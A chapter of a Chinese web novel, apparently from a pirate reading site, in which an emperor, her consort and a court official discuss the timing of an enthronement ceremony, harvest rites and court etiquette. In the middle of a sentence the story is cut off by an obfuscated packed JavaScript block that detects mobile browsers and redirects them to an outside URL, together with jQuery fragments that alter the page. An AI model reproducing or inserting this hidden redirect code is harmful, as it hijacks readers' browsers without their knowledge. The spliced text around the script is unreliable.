默认冷灰
24号文字
方正启体

571.皇帝也要種田?

作者:濟南老梁本书字数:K更新时间:
    皇帝辦公室內,窗外的光線已經轉為午後偏暖的色調。陽光透過半掩的窗簾落在地毯上,形成一道柔和的斜影。順子正坐在書桌前翻閱文件,她換下了上午開會時那套過於正式的服裝,外套掛在椅背上,襯衫的袖口微微捲起,露出纖細的手腕,整個人看起來比儀式場合裡放鬆許多,也更像一個正在處理日常工作的普通人。


    門被推開的聲音不大,卻在安靜的室內格外清楚。


    她抬起頭,看見諸葛梁走進來,肩上背包的背帶還沒完全放下。


    「你回來了?」她的語氣自然,像是在問一件再平常不過的事。


    諸葛梁走進來,把背包放在牆邊,順手拉了拉肩膀,像是把那股長時間積累下來的疲勞抖落一些。「嗯,資料都交代下去了。」


    順子合上手中的文件,沒有立刻放回桌上,而是用文件邊角輕輕敲了一下桌面,嘴角帶著一點笑意看著他。


    「出去這麼長時間,回來之後該履行一下作為皇后的責任了吧?」她微笑著說,語氣半是玩笑,半是認真。


    諸葛梁聞言,忍不住嘆了一口氣,抬手揉了揉後頸。「飛了五個多小時,又跑了三個辦公室,陛下能讓我休息一下嗎?」


    順子笑出聲來,那笑聲不大,卻帶著明顯的輕快。


    「好吧!」她點了點頭,隨即像是忽然想起什麼似的補了一句,「不過,艾娜找你。」


    諸葛梁原本已經轉身打算找個地方坐下,聽到這句話,動作頓了一下。「她找我做什麼?」


    順子把文件放回桌上,語氣恢復成處理公事時的平穩。「登基典禮的事,還有,她說要教我們一些皇室禮儀。你去找她吧。」


    諸葛梁沉默了半秒,隨後露出一個帶點無奈的笑。「好吧!」


    他向順子點了點頭,轉身離開皇帝辦公室。走廊依舊安靜,侍從們各自站在固定的位置,動作克制而標準。諸葛梁沒有停留,沿著熟悉的路線,走向皇室事務局的辦公區域。皇室事務局辦公室的門敞開著,裡頭的燈光比外頭略亮一些。


    他站在門口,敲了敲門框。「艾娜女士。」


    哈拉達·艾娜正站在桌前整理資料,聽見聲音立刻轉過身來,下意識地彎腰低頭行禮。


    「哈伊!蔻構潶卡。」那句話一出口,她自己也愣了一下。


    諸葛梁挑了挑眉,失笑。


    「說英語。」他語氣輕鬆,甚至帶著一點調侃。


    艾娜立刻挺直背脊。「是!皇后陛下!」


    諸葛梁走進辦公室,在她對面的椅子坐下,語氣回到一貫的冷靜。「登基典禮還有什麼問題?」


    艾娜把手中的資料放下,表情轉為正式。「今年無法做大感恩節,需要延遲到明年。」


    諸葛梁微微皺眉。「這不符合規則吧?」


    艾娜沒有急著反駁,而是非常肯定地點了點頭。「符合啊。」


    這個回答反而讓諸葛梁愣了一下。


    「不對吧,我看過資料了。」他語速不快,但很清楚,「從第一個『劍與印章等承接之儀式』到最後一個『大感恩節後大感恩節宮殿用土地歸還典禮』,不多不少,正好十個完整的月份。」


    艾娜露出一個早就預料到他會這麼說的表情。


    「陛下說的是雷伊瓦皇位繼承的過程。」她解釋道,「不同的時期,並不會採用完全相同的標準。」


    諸葛梁微微向後靠在椅背上。「不同嗎?」


    艾娜點頭,語氣依舊平穩。「潶依賽伊皇位繼承的過程,從『劍與印章等承接之儀式』到『大感恩節後大感恩節宮殿用土地歸還典禮』,中間經歷了二十五個月。」


    諸葛梁一愣。「這麼長啊?」


    「還有,」艾娜接著說,「蕭伍瓦皇位繼承的過程,經歷了二十四個月。」


    諸葛梁忍不住睜大了眼睛,臉上同時浮現出驚訝與無奈交織的表情。


    「都很長啊!」他嘆了一口氣,「還有更誇張的嗎?」


    艾娜這次笑了出來。


    「當然有。」她毫不猶豫地回答,「皇帝塔伊蕭伍的登基典禮超過三年,皇帝梅伊吉則超過四年。」


    諸葛梁失笑,語氣裡帶著明顯的調侃。「要這麼算,始皇帝金穆登基典禮從頭到尾,豈不是要一百多年了?」


    艾娜笑著搖頭。


    「沒有啦。」她解釋道,「根據不同的情況,流程可長可短。雷伊瓦時期是因為老皇帝退位後第二天新皇帝登基承接三聖物,新皇帝不需要守孝一年,所以能在十個月內完成全部流程。但如果是嬰兒登基,登基宣言可能要等到十歲甚至十五歲。」


    「我們的情況不也一樣嗎?」諸葛梁平靜地打斷她,語氣帶著一絲銳利的審視,「我們並沒有一位需要守孝的『駕崩皇帝』。對外,乾德羅爾斯是禪讓退位的。既然同樣是退位後的登基,為何不能比照雷伊瓦時期的速度?」


    艾娜一時語塞,隨即露出些許無奈的苦笑。她稍微停頓了一下,語氣變得更加實際。「話雖如此,但有些硬性條件是繞不過去的。今年的大感恩節完全不能做,因為供奉用的大感恩節宮殿沒蓋,更重要的是,我們根本還沒種下那份專門用來供奉神明的稻種。沒有祭祀的穀物,儀式就無法成立,所以只能延遲到明年。」


    諸葛梁沉默了一會兒,像是在心裡快速重新計算整個時間表。最後,他只是輕輕點了點頭。


    「好吧。」這句話說出口時,既沒有不滿,也沒有堅持,像是一個已經預料到結果、並且接受現實的結論。


    艾娜在心裡悄悄鬆了一口氣。她很清楚,眼前這位皇后並不是那種會被傳統儀式牽著走的人,但他願意尊重制度本身,這一點,對皇室事務局來說,已經足夠難得。也正因如此,艾娜在面對諸葛梁時,從來不敢掉以輕心。這個人不是不在乎儀式,而是隨時都可能重新定義儀式存在的理由。


    短暫的沉默之後,諸葛梁開口。「皇室禮儀的事,妳和陛下是怎麼定的?」


    艾娜微微一愣,隨即如實回答。「皇帝陛下說,等皇后陛下回來再商討。」


    諸葛梁點了點頭,神情沒有太多波動,像是早就預料到這個答案。「那皇室禮儀大概有哪些?」


    艾娜稍微整理了一下思緒,語氣變得條理分明。「主要是辛頭相關的祭祀禮儀與節慶禮儀,還有正式場合的儀容規範。另外,還包含一些農業相關的儀式。」


    諸葛梁眉頭微微一挑。「怎麼還有農業相關的?」


    艾娜並不意外他會這樣問,她解釋道,「奧塔伍艾瑪茨利,翻譯成英語就是『水稻插秧節』,皇帝陛下需要親自下田耕種,後面還有收割與稻穀供奉的儀式,祈禱神明保佑國家五穀豐登。」


    諸葛梁聽完,沒有立刻回應,而是稍微向後靠,目光落在辦公室一角的窗框上,像是在組織語言。


    「所以,」他開口時語氣平靜,「皇帝作為國家與全體國民的形象代言人,就有資格代表全體國民向神明提出要求,對吧?」


    艾娜在心裡忍不住一頓。這個邏輯,若只看表面,似乎順理成章;但從辛頭與


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970799|132887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    制度的角度來看,又顯得有些過於直接,甚至帶著一點危險的簡化。


    艾娜心裡想著:這個說法,其實有點滑稽。


    但她臉上沒有顯露出來,只是謹慎地回答。「可以這樣理解吧,但不完全正確。」


    諸葛梁轉回目光,看向她。「怎麼解釋?」


    艾娜深吸了一口氣,開始用她最熟悉的方式回答──回到歷史。「皇帝參加奧塔伍艾瑪茨利,並不是改制為『形象代言人皇帝制』之後才出現的。修瓦騰諾托梅吉滕諾瓦……啊,抱歉,皇帝蕭伍瓦,以及皇帝梅伊吉,都有親自下農田耕種的記載。」


    她停了一下,補充道:「而最早可以追溯到的,是女皇吉托伍。」


    諸葛梁的眉頭微微動了一下。「這位吉托伍女士,是統治者女皇,還是配偶皇后?」


    「她是統治者女皇。」艾娜立刻回答,「第四十一代滕諾。」


    諸葛梁輕輕吸了一口氣。「那要一千多年了吧?」


    「是的。」艾娜點頭。


    這個數字在空氣中短暫地停留了一下。對諸葛梁來說,那不是一個單純的年份,而是一條漫長到幾乎無法直視的時間軸。制度、信仰、儀式,像是一層又一層沉積下來的地層,壓在現在的每一個決定之上。


    「那麼,」他轉而問道,「哪些是皇后必須參加的?」


    艾娜早就準備好了這個答案。「例如皇帝生日慶祝、瓦卡詩大賽、一月一日的『新年慶祝之儀式』、一月二日的『新年公開露面』,以及春分與秋分的皇祖靈魂祭祀。」


    諸葛梁聽到這裡,忍不住抬手揉了揉眉心。「我覺得,瓦卡詩比賽可以取消。」他語氣平淡,卻相當直接,「或者,至少可以換成英語體系下的散文比賽,甚至幫派說唱比賽。」


    艾娜愣了一下。


    諸葛梁繼續說下去,理由清楚得近乎冷酷。「大乾國是英語國家,而且陛下完全聽不懂瓦卡詩。讓她在那種場合出席,本身就已經偏離了儀式想要達成的目的。」


    艾娜張了張嘴,卻一時間不知道該如何反駁。從制度上來說,瓦卡詩確實有其歷史地位;但從實際操作來看,諸葛梁說的每一句話都沒有錯。她沉默了幾秒,最後只能嘆了一口氣。


    「好吧,我想想。」她語氣裡帶著一點無奈。


    諸葛梁看了一眼牆上的時鐘,肩膀微微垂了一下。


    「我今天真的太累了。」他坦白地說,「妳和皇帝陛下先商議一下,確定學□□室禮儀的時間,我配合就可以。」


    這句話裡沒有推託,也沒有抗拒,只是一種明確的界線。


    艾娜立刻站直。「是,陛下。」


    諸葛梁沒有再多說什麼,起身,整理了一下衣角,轉身離開皇室事務局辦公室。


    走廊依舊安靜,腳步聲在石質地面上顯得格外清晰。一路走回皇帝辦公室時,他的腦中仍然不斷浮現剛才的對話。


    農田、祭祀、身體下地耕作的皇帝。


    那不是一場表演,而是一種被歷史反覆驗證過的禮儀行為。可問題在於,形象代言人是否仍然需要透過同樣的身體來完成?還是說,制度早已改變,卻還背負著舊有形式的重量?


    他推開皇帝辦公室的門時,順子正站在窗邊,低頭看著宮殿外的庭院。聽見聲音,她回過頭來。諸葛梁沒有立刻說話,只是走進來。在這個空間裡,他不是皇后,也不是制度設計者,只是一個正在試圖把過去與未來接合起來的人。而這個國家,顯然還需要一點時間,去習慣這樣的接合方式。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)